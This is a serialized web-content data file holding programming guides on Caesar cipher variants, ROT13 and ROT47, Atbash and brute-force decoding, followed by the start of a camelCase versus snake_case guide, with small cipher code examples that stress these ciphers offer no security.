(@C=5P'\n",[143,22199,22200,22205,22209,22213,22218,22223,22228,22232,22236,22240,22244],{"__ignoreMap":141},[1560,22201,22202],{"class":1562,"line":1563},[1560,22203,22204],{},"def rot47(text):\n",[1560,22206,22207],{"class":1562,"line":337},[1560,22208,22148],{},[1560,22210,22211],{"class":1562,"line":343},[1560,22212,22153],{},[1560,22214,22215],{"class":1562,"line":365},[1560,22216,22217],{},"        code = ord(char)\n",[1560,22219,22220],{"class":1562,"line":889},[1560,22221,22222],{},"        if 33 \u003C= code \u003C= 126:\n",[1560,22224,22225],{"class":1562,"line":1710},[1560,22226,22227],{},"            result.append(chr(33 + (code - 33 + 47) % 94))\n",[1560,22229,22230],{"class":1562,"line":1717},[1560,22231,22168],{},[1560,22233,22234],{"class":1562,"line":1747},[1560,22235,22173],{},[1560,22237,22238],{"class":1562,"line":2507},[1560,22239,22178],{},[1560,22241,22242],{"class":1562,"line":2524},[1560,22243,1702],{"emptyLinePlaceholder":363},[1560,22245,22246],{"class":1562,"line":2529},[1560,22247,22248],{},"rot47('Hello World!')  # 'w6==@ (@C=5P'\n",[16,22250,22251],{},"ROT47 is also self-inverse: 47 + 47 = 94, which equals the full range of printable ASCII characters, wrapping back to the start.",[33,22253,22255],{"id":22254},"rot13-vs-rot47-comparison","ROT13 vs ROT47 comparison",[193,22257,22258,22269],{},[196,22259,22260],{},[199,22261,22262,22264,22266],{},[202,22263,14482],{},[202,22265,22016],{},[202,22267,22268],{},"ROT47",[211,22270,22271,22282,22290,22300,22310,22320],{},[199,22272,22273,22276,22279],{},[216,22274,22275],{},"Character set",[216,22277,22278],{},"A–Z, a–z",[216,22280,22281],{},"ASCII 33–126",[199,22283,22284,22286,22288],{},[216,22285,22105],{},[216,22287,3057],{},[216,22289,3057],{},[199,22291,22292,22295,22297],{},[216,22293,22294],{},"Preserves spaces",[216,22296,3057],{},[216,22298,22299],{},"No — spaces shift too",[199,22301,22302,22305,22307],{},[216,22303,22304],{},"Preserves punctuation",[216,22306,3057],{},[216,22308,22309],{},"No — all symbols shift",[199,22311,22312,22315,22318],{},[216,22313,22314],{},"Security",[216,22316,22317],{},"None",[216,22319,22317],{},[199,22321,22322,22325,22328],{},[216,22323,22324],{},"Common use",[216,22326,22327],{},"Spoilers, puzzles",[216,22329,22330],{},"Obfuscating strings in code",[11,22332,22334],{"id":22333},"atbash-cipher-alphabet-reversal","Atbash Cipher: Alphabet Reversal",[16,22336,22337],{},"The Atbash cipher maps each letter to its mirror position in the alphabet — A↔Z, B↔Y, C↔X, and so on.",[135,22339,22342],{"className":22340,"code":22341,"language":140},[138],"A B C D E F G H I J K L M\n↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕ ↕\nZ Y X W V U T S R Q P O N\n",[143,22343,22341],{"__ignoreMap":141},[16,22345,22346],{},"Atbash is also self-inverse and is sometimes grouped with Caesar variations, though it is technically a substitution cipher with a fixed mapping rather than a rotation.",[135,22348,22350],{"className":8259,"code":22349,"language":8261,"meta":141,"style":141},"def atbash(text):\n    result = []\n    for char in text:\n        if 'a' \u003C= char \u003C= 'z':\n            result.append(chr(ord('z') - (ord(char) - ord('a'))))\n        elif 'A' \u003C= char \u003C= 'Z':\n            result.append(chr(ord('Z') - (ord(char) - ord('A'))))\n        else:\n            result.append(char)\n    return ''.join(result)\n\natbash('Hello')  # 'Svool'\n",[143,22351,22352,22357,22361,22365,22370,22375,22380,22385,22389,22393,22397,22401],{"__ignoreMap":141},[1560,22353,22354],{"class":1562,"line":1563},[1560,22355,22356],{},"def atbash(text):\n",[1560,22358,22359],{"class":1562,"line":337},[1560,22360,22148],{},[1560,22362,22363],{"class":1562,"line":343},[1560,22364,22153],{},[1560,22366,22367],{"class":1562,"line":365},[1560,22368,22369],{},"        if 'a' \u003C= char \u003C= 'z':\n",[1560,22371,22372],{"class":1562,"line":889},[1560,22373,22374],{},"            result.append(chr(ord('z') - (ord(char) - ord('a'))))\n",[1560,22376,22377],{"class":1562,"line":1710},[1560,22378,22379],{},"        elif 'A' \u003C= char \u003C= 'Z':\n",[1560,22381,22382],{"class":1562,"line":1717},[1560,22383,22384],{},"            result.append(chr(ord('Z') - (ord(char) - ord('A'))))\n",[1560,22386,22387],{"class":1562,"line":1747},[1560,22388,22168],{},[1560,22390,22391],{"class":1562,"line":2507},[1560,22392,22173],{},[1560,22394,22395],{"class":1562,"line":2524},[1560,22396,22178],{},[1560,22398,22399],{"class":1562,"line":2529},[1560,22400,1702],{"emptyLinePlaceholder":363},[1560,22402,22403],{"class":1562,"line":2534},[1560,22404,22405],{},"atbash('Hello')  # 'Svool'\n",[11,22407,22409],{"id":22408},"decoding-unknown-shifts","Decoding Unknown Shifts",[16,22411,22412],{},"When you encounter a Caesar cipher but do not know the shift, two approaches work:",[33,22414,22416],{"id":22415},"brute-force-all-25-rotations","Brute-force all 25 rotations",[135,22418,22420],{"className":8259,"code":22419,"language":8261,"meta":141,"style":141},"def caesar_brute(text):\n    for shift in range(1, 26):\n        decoded = []\n        for char in text:\n            if 'a' \u003C= char \u003C= 'z':\n                decoded.append(chr((ord(char) - ord('a') - shift) % 26 + ord('a')))\n            elif 'A' \u003C= char \u003C= 'Z':\n                decoded.append(chr((ord(char) - ord('A') - shift) % 26 + ord('A')))\n            else:\n                decoded.append(char)\n        print(f\"ROT{shift}: {''.join(decoded)}\")\n",[143,22421,22422,22427,22432,22437,22442,22447,22452,22457,22462,22467,22472],{"__ignoreMap":141},[1560,22423,22424],{"class":1562,"line":1563},[1560,22425,22426],{},"def caesar_brute(text):\n",[1560,22428,22429],{"class":1562,"line":337},[1560,22430,22431],{},"    for shift in range(1, 26):\n",[1560,22433,22434],{"class":1562,"line":343},[1560,22435,22436],{},"        decoded = []\n",[1560,22438,22439],{"class":1562,"line":365},[1560,22440,22441],{},"        for char in text:\n",[1560,22443,22444],{"class":1562,"line":889},[1560,22445,22446],{},"            if 'a' \u003C= char \u003C= 'z':\n",[1560,22448,22449],{"class":1562,"line":1710},[1560,22450,22451],{},"                decoded.append(chr((ord(char) - ord('a') - shift) % 26 + ord('a')))\n",[1560,22453,22454],{"class":1562,"line":1717},[1560,22455,22456],{},"            elif 'A' \u003C= char \u003C= 'Z':\n",[1560,22458,22459],{"class":1562,"line":1747},[1560,22460,22461],{},"                decoded.append(chr((ord(char) - ord('A') - shift) % 26 + ord('A')))\n",[1560,22463,22464],{"class":1562,"line":2507},[1560,22465,22466],{},"            else:\n",[1560,22468,22469],{"class":1562,"line":2524},[1560,22470,22471],{},"                decoded.append(char)\n",[1560,22473,22474],{"class":1562,"line":2529},[1560,22475,22476],{},"        print(f\"ROT{shift}: {''.join(decoded)}\")\n",[16,22478,22479],{},"Scan the output for readable English — the correct shift reveals itself immediately.",[33,22481,22483],{"id":22482},"frequency-analysis","Frequency analysis",[16,22485,22486],{},"Count letter frequencies in the ciphertext and match them to known English letter frequencies. The most common ciphertext letter likely maps to E (the most common letter in English). This approach works faster on long texts where brute-force output is tedious to scan.",[11,22488,22490],{"id":22489},"none-of-these-provide-security","None of These Provide Security",[16,22492,22493],{},"Every variation discussed here is a toy cipher. They are fun for puzzles and educational for understanding substitution, but they offer zero protection against anyone who wants to read the content:",[41,22495,22496,22499,22502,22505],{},[44,22497,22498],{},"Only 25 possible Caesar shifts — trivially brute-forced",[44,22500,22501],{},"No secret key — the algorithm is the entire system",[44,22503,22504],{},"Frequency analysis breaks them in seconds",[44,22506,22507],{},"Modern computers decode any variant instantly",[16,22509,22510],{},"Use these for puzzles, spoilers, and obfuscation. Never for protecting sensitive data.",[11,22512,1355],{"id":1354},[41,22514,22515,22518,22521,22524,22527,22530,22533],{},[44,22516,22517],{},"The Caesar cipher family includes 25 rotations (ROT1–ROT25), all trivially breakable",[44,22519,22520],{},"Only ROT13 is self-inverse — the others need a separate decode step",[44,22522,22523],{},"ROT5 shifts digits 0–9 by 5; ROT13 + ROT5 = ROT18",[44,22525,22526],{},"ROT47 shifts the full printable ASCII range and is also self-inverse",[44,22528,22529],{},"Atbash mirrors the alphabet (A↔Z) and is self-inverse",[44,22531,22532],{},"Brute-forcing all 25 rotations is the fastest decode method for unknown shifts",[44,22534,22535],{},"None of these ciphers provide any real security — they are for puzzles and obfuscation only",[11,22537,321],{"id":320},[41,22539,22540,22546,22552],{},[44,22541,22542],{},[98,22543,22545],{"href":22544},"\u002Fguides\u002Frot13-explained","ROT13 Explained",[44,22547,22548],{},[98,22549,22551],{"href":22550},"\u002Fguides\u002Frot13-programming-puzzles","ROT13 in Programming Puzzles",[44,22553,22554],{},[98,22555,22557],{"href":22556},"\u002Fguides\u002Ftext-encoding-methods","Text Encoding Methods",[11,22559,286],{"id":285},[16,22561,22562,22563,22567],{},"Encode and decode any Caesar rotation instantly with our free ",[98,22564,22566],{"href":22565},"\u002Ftools\u002Frot13","ROT13 Tool",". Paste text, choose your shift, and see the result in real time — no installation needed.",[2043,22569,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":22571},[22572,22573,22576,22577,22580,22581,22585,22586,22587,22588],{"id":21934,"depth":337,"text":21935},{"id":21944,"depth":337,"text":21945,"children":22574},[22575],{"id":22050,"depth":343,"text":22051},{"id":22120,"depth":337,"text":22121},{"id":22190,"depth":337,"text":22191,"children":22578},[22579],{"id":22254,"depth":343,"text":22255},{"id":22333,"depth":337,"text":22334},{"id":22408,"depth":337,"text":22409,"children":22582},[22583,22584],{"id":22415,"depth":343,"text":22416},{"id":22482,"depth":343,"text":22483},{"id":22489,"depth":337,"text":22490},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"From ROT1 to ROT25 and beyond — Caesar cipher shifts, ROT47, ROT5, and how each variation works with examples and decoding methods.",{"immutable":363},"\u002Fguides\u002Fcaesar-cipher-variations-explained",{"title":21929,"description":22589},"guides\u002Fcaesar-cipher-variations-explained","K9gc1_RrvituuJTvUZqf4taRpJAw2XrtBFGblOEfm14",{"id":22596,"title":22597,"body":22598,"date":2070,"description":23304,"extension":361,"meta":23305,"navigation":363,"path":23306,"readingTime":1710,"seo":23307,"stem":23308,"__hash__":23309},"guides\u002Fguides\u002Fcaesar-cipher-vs-rot13.md","Caesar Cipher vs ROT13 Compared",{"type":8,"value":22599,"toc":23297},[22600,22603,22605,22612,22686,22689,22866,22872,22939,22943,22950,23002,23005,23009,23012,23018,23133,23138,23186,23189,23195,23199,23202,23205,23208,23212,23215,23288,23294],[16,22601,22602],{},"ROT13 is the most famous member of the Caesar cipher family — a substitution cipher where each letter is shifted by a fixed number of positions in the alphabet. Julius Caesar reportedly used a shift of 3 for military correspondence. ROT13 uses a shift of 13, which creates a peculiar property: applying it twice returns the original text. Understanding how these ciphers relate and where they fall apart teaches fundamental concepts in cryptography without requiring any advanced math.",[11,22604,21935],{"id":21934},[16,22606,22607,22608,22611],{},"A Caesar cipher shifts every letter by a constant ",[143,22609,22610],{},"n"," positions, wrapping around at the end of the alphabet. With 26 letters, there are only 25 non-trivial shifts (shift of 0 or 26 leaves text unchanged).",[193,22613,22614,22632],{},[196,22615,22616],{},[199,22617,22618,22620,22623,22626,22629],{},[202,22619,21957],{},[202,22621,22622],{},"A →",[202,22624,22625],{},"B →",[202,22627,22628],{},"C →",[202,22630,22631],{},"Z →",[211,22633,22634,22646,22660,22674],{},[199,22635,22636,22638,22640,22642,22644],{},[216,22637,3585],{},[216,22639,21978],{},[216,22641,21993],{},[216,22643,22007],{},[216,22645,21981],{},[199,22647,22648,22650,22652,22655,22658],{},[216,22649,17821],{},[216,22651,22007],{},[216,22653,22654],{},"E",[216,22656,22657],{},"F",[216,22659,21993],{},[199,22661,22662,22664,22666,22669,22672],{},[216,22663,13525],{},[216,22665,22021],{},[216,22667,22668],{},"O",[216,22670,22671],{},"P",[216,22673,22024],{},[199,22675,22676,22678,22680,22682,22684],{},[216,22677,22036],{},[216,22679,22039],{},[216,22681,21981],{},[216,22683,21978],{},[216,22685,22042],{},[16,22687,22688],{},"The encryption function:",[135,22690,22692],{"className":1607,"code":22691,"language":1609,"meta":141,"style":141},"function caesarEncrypt(text, shift) {\n  return text.replace(\u002F[a-zA-Z]\u002Fg, char => {\n    const base = char \u003C= 'Z' ? 65 : 97\n    return String.fromCharCode(((char.charCodeAt(0) - base + shift) % 26) + base)\n  })\n}\n\ncaesarEncrypt('HELLO', 3)   \u002F\u002F 'KHOOR'\ncaesarEncrypt('HELLO', 13)  \u002F\u002F 'URYYB'\n",[143,22693,22694,22712,22743,22773,22817,22822,22826,22830,22849],{"__ignoreMap":141},[1560,22695,22696,22698,22701,22703,22705,22707,22710],{"class":1562,"line":1563},[1560,22697,8648],{"class":1669},[1560,22699,22700],{"class":1566}," caesarEncrypt",[1560,22702,1688],{"class":1570},[1560,22704,140],{"class":2219},[1560,22706,1459],{"class":1570},[1560,22708,22709],{"class":2219},"shift",[1560,22711,9345],{"class":1570},[1560,22713,22714,22716,22719,22722,22724,22726,22729,22731,22734,22736,22739,22741],{"class":1562,"line":337},[1560,22715,9350],{"class":1669},[1560,22717,22718],{"class":1570}," text.",[1560,22720,22721],{"class":1566},"replace",[1560,22723,1688],{"class":1570},[1560,22725,9423],{"class":5634},[1560,22727,22728],{"class":1576},"[a-zA-Z]",[1560,22730,9423],{"class":5634},[1560,22732,22733],{"class":1669},"g",[1560,22735,1459],{"class":1570},[1560,22737,22738],{"class":2219},"char",[1560,22740,9378],{"class":1669},[1560,22742,1571],{"class":1570},[1560,22744,22745,22747,22750,22752,22755,22758,22761,22764,22767,22770],{"class":1562,"line":343},[1560,22746,9385],{"class":1669},[1560,22748,22749],{"class":1576}," base",[1560,22751,8186],{"class":1669},[1560,22753,22754],{"class":1570}," char ",[1560,22756,22757],{"class":1669},"\u003C=",[1560,22759,22760],{"class":5634}," 'Z'",[1560,22762,22763],{"class":1669}," ?",[1560,22765,22766],{"class":1576}," 65",[1560,22768,22769],{"class":1669}," :",[1560,22771,22772],{"class":1576}," 97\n",[1560,22774,22775,22777,22780,22783,22786,22789,22791,22793,22795,22797,22800,22802,22805,22807,22810,22812,22814],{"class":1562,"line":365},[1560,22776,9434],{"class":1669},[1560,22778,22779],{"class":1570}," String.",[1560,22781,22782],{"class":1566},"fromCharCode",[1560,22784,22785],{"class":1570},"(((char.",[1560,22787,22788],{"class":1566},"charCodeAt",[1560,22790,1688],{"class":1570},[1560,22792,5285],{"class":1576},[1560,22794,1733],{"class":1570},[1560,22796,9412],{"class":1669},[1560,22798,22799],{"class":1570}," base ",[1560,22801,9448],{"class":1669},[1560,22803,22804],{"class":1570}," shift) ",[1560,22806,17990],{"class":1669},[1560,22808,22809],{"class":1576}," 26",[1560,22811,1733],{"class":1570},[1560,22813,9448],{"class":1669},[1560,22815,22816],{"class":1570}," base)\n",[1560,22818,22819],{"class":1562,"line":889},[1560,22820,22821],{"class":1570},"  })\n",[1560,22823,22824],{"class":1562,"line":1710},[1560,22825,1585],{"class":1570},[1560,22827,22828],{"class":1562,"line":1717},[1560,22829,1702],{"emptyLinePlaceholder":363},[1560,22831,22832,22835,22837,22840,22842,22844,22846],{"class":1562,"line":1747},[1560,22833,22834],{"class":1566},"caesarEncrypt",[1560,22836,1688],{"class":1570},[1560,22838,22839],{"class":5634},"'HELLO'",[1560,22841,1459],{"class":1570},[1560,22843,17821],{"class":1576},[1560,22845,10081],{"class":1570},[1560,22847,22848],{"class":1649},"\u002F\u002F 'KHOOR'\n",[1560,22850,22851,22853,22855,22857,22859,22861,22863],{"class":1562,"line":2507},[1560,22852,22834],{"class":1566},[1560,22854,1688],{"class":1570},[1560,22856,22839],{"class":5634},[1560,22858,1459],{"class":1570},[1560,22860,13525],{"class":1576},[1560,22862,10060],{"class":1570},[1560,22864,22865],{"class":1649},"\u002F\u002F 'URYYB'\n",[16,22867,22868,22869,8037],{},"Decryption applies the same function with ",[143,22870,22871],{},"26 - shift",[135,22873,22875],{"className":1607,"code":22874,"language":1609,"meta":141,"style":141},"function caesarDecrypt(text, shift) {\n  return caesarEncrypt(text, 26 - shift)\n}\n\ncaesarDecrypt('KHOOR', 3)  \u002F\u002F 'HELLO'\n",[143,22876,22877,22894,22912,22916,22920],{"__ignoreMap":141},[1560,22878,22879,22881,22884,22886,22888,22890,22892],{"class":1562,"line":1563},[1560,22880,8648],{"class":1669},[1560,22882,22883],{"class":1566}," caesarDecrypt",[1560,22885,1688],{"class":1570},[1560,22887,140],{"class":2219},[1560,22889,1459],{"class":1570},[1560,22891,22709],{"class":2219},[1560,22893,9345],{"class":1570},[1560,22895,22896,22898,22900,22903,22906,22909],{"class":1562,"line":337},[1560,22897,9350],{"class":1669},[1560,22899,22700],{"class":1566},[1560,22901,22902],{"class":1570},"(text, ",[1560,22904,22905],{"class":1576},"26",[1560,22907,22908],{"class":1669}," -",[1560,22910,22911],{"class":1570}," shift)\n",[1560,22913,22914],{"class":1562,"line":343},[1560,22915,1585],{"class":1570},[1560,22917,22918],{"class":1562,"line":365},[1560,22919,1702],{"emptyLinePlaceholder":363},[1560,22921,22922,22925,22927,22930,22932,22934,22936],{"class":1562,"line":889},[1560,22923,22924],{"class":1566},"caesarDecrypt",[1560,22926,1688],{"class":1570},[1560,22928,22929],{"class":5634},"'KHOOR'",[1560,22931,1459],{"class":1570},[1560,22933,17821],{"class":1576},[1560,22935,10060],{"class":1570},[1560,22937,22938],{"class":1649},"\u002F\u002F 'HELLO'\n",[11,22940,22942],{"id":22941},"the-self-inverting-property-of-rot13","The Self-Inverting Property of ROT13",[16,22944,22945,22946,22949],{},"ROT13 uses shift = 13. Because ",[143,22947,22948],{},"13 + 13 = 26"," (the alphabet length), applying ROT13 twice returns the original text. This makes ROT13 its own inverse — there is no separate encrypt and decrypt step.",[135,22951,22953],{"className":1607,"code":22952,"language":1609,"meta":141,"style":141},"const encoded = caesarEncrypt('Secret message', 13)  \u002F\u002F 'Frperg zrffntr'\nconst decoded = caesarEncrypt(encoded, 13)            \u002F\u002F 'Secret message'\n",[143,22954,22955,22980],{"__ignoreMap":141},[1560,22956,22957,22959,22962,22964,22966,22968,22971,22973,22975,22977],{"class":1562,"line":1563},[1560,22958,8180],{"class":1669},[1560,22960,22961],{"class":1576}," encoded",[1560,22963,8186],{"class":1669},[1560,22965,22700],{"class":1566},[1560,22967,1688],{"class":1570},[1560,22969,22970],{"class":5634},"'Secret message'",[1560,22972,1459],{"class":1570},[1560,22974,13525],{"class":1576},[1560,22976,10060],{"class":1570},[1560,22978,22979],{"class":1649},"\u002F\u002F 'Frperg zrffntr'\n",[1560,22981,22982,22984,22987,22989,22991,22994,22996,22999],{"class":1562,"line":337},[1560,22983,8180],{"class":1669},[1560,22985,22986],{"class":1576}," decoded",[1560,22988,8186],{"class":1669},[1560,22990,22700],{"class":1566},[1560,22992,22993],{"class":1570},"(encoded, ",[1560,22995,13525],{"class":1576},[1560,22997,22998],{"class":1570},")            ",[1560,23000,23001],{"class":1649},"\u002F\u002F 'Secret message'\n",[16,23003,23004],{},"This property is why ROT13 became popular for hiding spoilers: the same operation encodes and decodes, so readers can reveal the hidden text without a separate tool. Other Caesar shifts lack this property — shift of 3 requires shift of 23 to reverse.",[11,23006,23008],{"id":23007},"why-neither-is-secure","Why Neither Is Secure",[16,23010,23011],{},"Both Caesar ciphers and ROT13 are trivially broken by anyone with basic cryptanalysis skills:",[16,23013,23014,23017],{},[47,23015,23016],{},"Brute force",": There are only 25 possible shifts. An attacker tries all of them in milliseconds and reads the one that produces English text.",[135,23019,23021],{"className":1607,"code":23020,"language":1609,"meta":141,"style":141},"function bruteForceCaesar(ciphertext) {\n  return Array.from({ length: 26 }, (_, shift) => ({\n    shift,\n    text: caesarEncrypt(ciphertext, shift),\n  }))\n}\n\nbruteForceCaesar('KHOOR').filter(r => r.text === 'HELLO')\n\u002F\u002F [{ shift: 23, text: 'HELLO' }] — found instantly\n",[143,23022,23023,23037,23068,23073,23083,23088,23092,23096,23128],{"__ignoreMap":141},[1560,23024,23025,23027,23030,23032,23035],{"class":1562,"line":1563},[1560,23026,8648],{"class":1669},[1560,23028,23029],{"class":1566}," bruteForceCaesar",[1560,23031,1688],{"class":1570},[1560,23033,23034],{"class":2219},"ciphertext",[1560,23036,9345],{"class":1570},[1560,23038,23039,23041,23044,23046,23049,23051,23054,23057,23059,23061,23063,23065],{"class":1562,"line":337},[1560,23040,9350],{"class":1669},[1560,23042,23043],{"class":1570}," Array.",[1560,23045,8168],{"class":1566},[1560,23047,23048],{"class":1570},"({ length: ",[1560,23050,22905],{"class":1576},[1560,23052,23053],{"class":1570}," }, (",[1560,23055,23056],{"class":2219},"_",[1560,23058,1459],{"class":1570},[1560,23060,22709],{"class":2219},[1560,23062,1733],{"class":1570},[1560,23064,11503],{"class":1669},[1560,23066,23067],{"class":1570}," ({\n",[1560,23069,23070],{"class":1562,"line":343},[1560,23071,23072],{"class":1570},"    shift,\n",[1560,23074,23075,23078,23080],{"class":1562,"line":365},[1560,23076,23077],{"class":1570},"    text: ",[1560,23079,22834],{"class":1566},[1560,23081,23082],{"class":1570},"(ciphertext, shift),\n",[1560,23084,23085],{"class":1562,"line":889},[1560,23086,23087],{"class":1570},"  }))\n",[1560,23089,23090],{"class":1562,"line":1710},[1560,23091,1585],{"class":1570},[1560,23093,23094],{"class":1562,"line":1717},[1560,23095,1702],{"emptyLinePlaceholder":363},[1560,23097,23098,23101,23103,23105,23107,23110,23112,23115,23117,23120,23123,23126],{"class":1562,"line":1747},[1560,23099,23100],{"class":1566},"bruteForceCaesar",[1560,23102,1688],{"class":1570},[1560,23104,22929],{"class":5634},[1560,23106,9368],{"class":1570},[1560,23108,23109],{"class":1566},"filter",[1560,23111,1688],{"class":1570},[1560,23113,23114],{"class":2219},"r",[1560,23116,9378],{"class":1669},[1560,23118,23119],{"class":1570}," r.text ",[1560,23121,23122],{"class":1669},"===",[1560,23124,23125],{"class":5634}," 'HELLO'",[1560,23127,8252],{"class":1570},[1560,23129,23130],{"class":1562,"line":2507},[1560,23131,23132],{"class":1649},"\u002F\u002F [{ shift: 23, text: 'HELLO' }] — found instantly\n",[16,23134,23135,23137],{},[47,23136,22483],{},": Even without trying all shifts, the letter frequency distribution of English text is preserved under substitution. 'E' is the most common letter in English, so the most common letter in the ciphertext corresponds to 'E'.",[193,23139,23140,23153],{},[196,23141,23142],{},[199,23143,23144,23147,23150],{},[202,23145,23146],{},"Letter",[202,23148,23149],{},"English Frequency",[202,23151,23152],{},"Caesar(3) Frequency",[211,23154,23155,23165,23176],{},[199,23156,23157,23159,23162],{},[216,23158,22654],{},[216,23160,23161],{},"12.7%",[216,23163,23164],{},"H appears at 12.7%",[199,23166,23167,23170,23173],{},[216,23168,23169],{},"T",[216,23171,23172],{},"9.1%",[216,23174,23175],{},"W appears at 9.1%",[199,23177,23178,23180,23183],{},[216,23179,21981],{},[216,23181,23182],{},"8.2%",[216,23184,23185],{},"D appears at 8.2%",[16,23187,23188],{},"A frequency table of the ciphertext reveals the shift immediately.",[16,23190,23191,23194],{},[47,23192,23193],{},"No key space",": The shift value is the entire key. With only 25 possibilities, brute force is trivial. Modern ciphers use keys of 128+ bits, giving 2¹²⁸ possible keys — roughly 340 undecillion.",[11,23196,23198],{"id":23197},"historical-context","Historical Context",[16,23200,23201],{},"Caesar ciphers were adequate for their era because literacy was rare and systematic cryptanalysis did not exist. By the 9th century, Arab scholars had documented frequency analysis, rendering all monoalphabetic substitution ciphers insecure.",[16,23203,23204],{},"ROT13 found a second life in the early internet era, not as encryption but as a convention for hiding content. On Usenet in the 1980s, people used ROT13 to obscure joke punchlines, movie spoilers, and potentially offensive material. The goal was never security — it was social convention, a way to let readers choose whether to see the content.",[16,23206,23207],{},"Modern platforms like Reddit still support ROT13 in comments for spoiler tags. Some email clients and newsreaders include built-in ROT13 decode functions. The convention persists because the self-inverting property makes it convenient, not because anyone believes it provides security.",[11,23209,23211],{"id":23210},"when-to-use-rot13-today","When to Use ROT13 Today",[16,23213,23214],{},"ROT13 has exactly one legitimate use: obscuring text from casual glances where the reader actively wants to decode it. Spoilers, puzzle hints, and easter eggs are appropriate. Anything else — including \"light obfuscation\" of API keys, passwords, or sensitive data — is dangerously insecure.",[135,23216,23218],{"className":1607,"code":23217,"language":1609,"meta":141,"style":141},"\u002F\u002F Appropriate: hiding a puzzle hint\nconst hint = caesarEncrypt('The safe is behind the painting', 13)\n\u002F\u002F Reader decodes when they want the hint\n\n\u002F\u002F Inappropriate: \"hiding\" an API key\nconst apiKey = caesarEncrypt('sk-live-abc123def456', 13)\n\u002F\u002F This provides zero security — anyone can decode it\n",[143,23219,23220,23225,23247,23252,23256,23261,23283],{"__ignoreMap":141},[1560,23221,23222],{"class":1562,"line":1563},[1560,23223,23224],{"class":1649},"\u002F\u002F Appropriate: hiding a puzzle hint\n",[1560,23226,23227,23229,23232,23234,23236,23238,23241,23243,23245],{"class":1562,"line":337},[1560,23228,8180],{"class":1669},[1560,23230,23231],{"class":1576}," hint",[1560,23233,8186],{"class":1669},[1560,23235,22700],{"class":1566},[1560,23237,1688],{"class":1570},[1560,23239,23240],{"class":5634},"'The safe is behind the painting'",[1560,23242,1459],{"class":1570},[1560,23244,13525],{"class":1576},[1560,23246,8252],{"class":1570},[1560,23248,23249],{"class":1562,"line":343},[1560,23250,23251],{"class":1649},"\u002F\u002F Reader decodes when they want the hint\n",[1560,23253,23254],{"class":1562,"line":365},[1560,23255,1702],{"emptyLinePlaceholder":363},[1560,23257,23258],{"class":1562,"line":889},[1560,23259,23260],{"class":1649},"\u002F\u002F Inappropriate: \"hiding\" an API key\n",[1560,23262,23263,23265,23268,23270,23272,23274,23277,23279,23281],{"class":1562,"line":1710},[1560,23264,8180],{"class":1669},[1560,23266,23267],{"class":1576}," apiKey",[1560,23269,8186],{"class":1669},[1560,23271,22700],{"class":1566},[1560,23273,1688],{"class":1570},[1560,23275,23276],{"class":5634},"'sk-live-abc123def456'",[1560,23278,1459],{"class":1570},[1560,23280,13525],{"class":1576},[1560,23282,8252],{"class":1570},[1560,23284,23285],{"class":1562,"line":1717},[1560,23286,23287],{"class":1649},"\u002F\u002F This provides zero security — anyone can decode it\n",[16,23289,23290,23291,23293],{},"Experiment with Caesar cipher shifts and ROT13 encoding at ",[98,23292,22565],{"href":22565},", which supports all 25 shifts with instant encoding and decoding for educational exploration.",[2043,23295,23296],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":23298},[23299,23300,23301,23302,23303],{"id":21934,"depth":337,"text":21935},{"id":22941,"depth":337,"text":22942},{"id":23007,"depth":337,"text":23008},{"id":23197,"depth":337,"text":23198},{"id":23210,"depth":337,"text":23211},"How ROT13 relates to the Caesar cipher family and why both are educational, not secure.",{},"\u002Fguides\u002Fcaesar-cipher-vs-rot13",{"title":22597,"description":23304},"guides\u002Fcaesar-cipher-vs-rot13","0uCyLN9EHoXsOvUl843ToQYNee2bqP9Z8tFBSEt6Nlo",{"id":23311,"title":23312,"body":23313,"date":2070,"description":23852,"extension":361,"meta":23853,"navigation":363,"path":23854,"readingTime":889,"seo":23855,"stem":23856,"__hash__":23857},"guides\u002Fguides\u002Fcamelcase-vs-snake-case.md","camelCase vs snake_case: The Great Naming Debate",{"type":8,"value":23314,"toc":23839},[23315,23319,23329,23333,23343,23351,23355,23362,23369,23372,23376,23379,23475,23479,23482,23532,23557,23560,23587,23590,23594,23597,23628,23631,23635,23638,23672,23676,23765,23782,23784,23804,23806,23809,23818,23820,23836],[11,23316,23318],{"id":23317},"two-styles-one-problem","Two Styles, One Problem",[16,23320,23321,23322,1531,23325,23328],{},"Every developer eventually faces this question: should you write ",[143,23323,23324],{},"firstName",[143,23326,23327],{},"first_name","? The answer depends on your language, your team, and — surprisingly — on cognitive science. Let's break down the real differences.",[11,23330,23332],{"id":23331},"origins-of-each-style","Origins of Each Style",[16,23334,23335,23338,23339,23342],{},[47,23336,23337],{},"camelCase"," emerged from early programming languages where spaces were invalid in identifiers. Lisp hackers in the 1960s used hyphens (",[143,23340,23341],{},"first-name","), but when languages like C and Java reserved the hyphen for subtraction, developers shifted to capitalizing internal words. Smalltalk popularized the style, and Java cemented it as the default for millions of 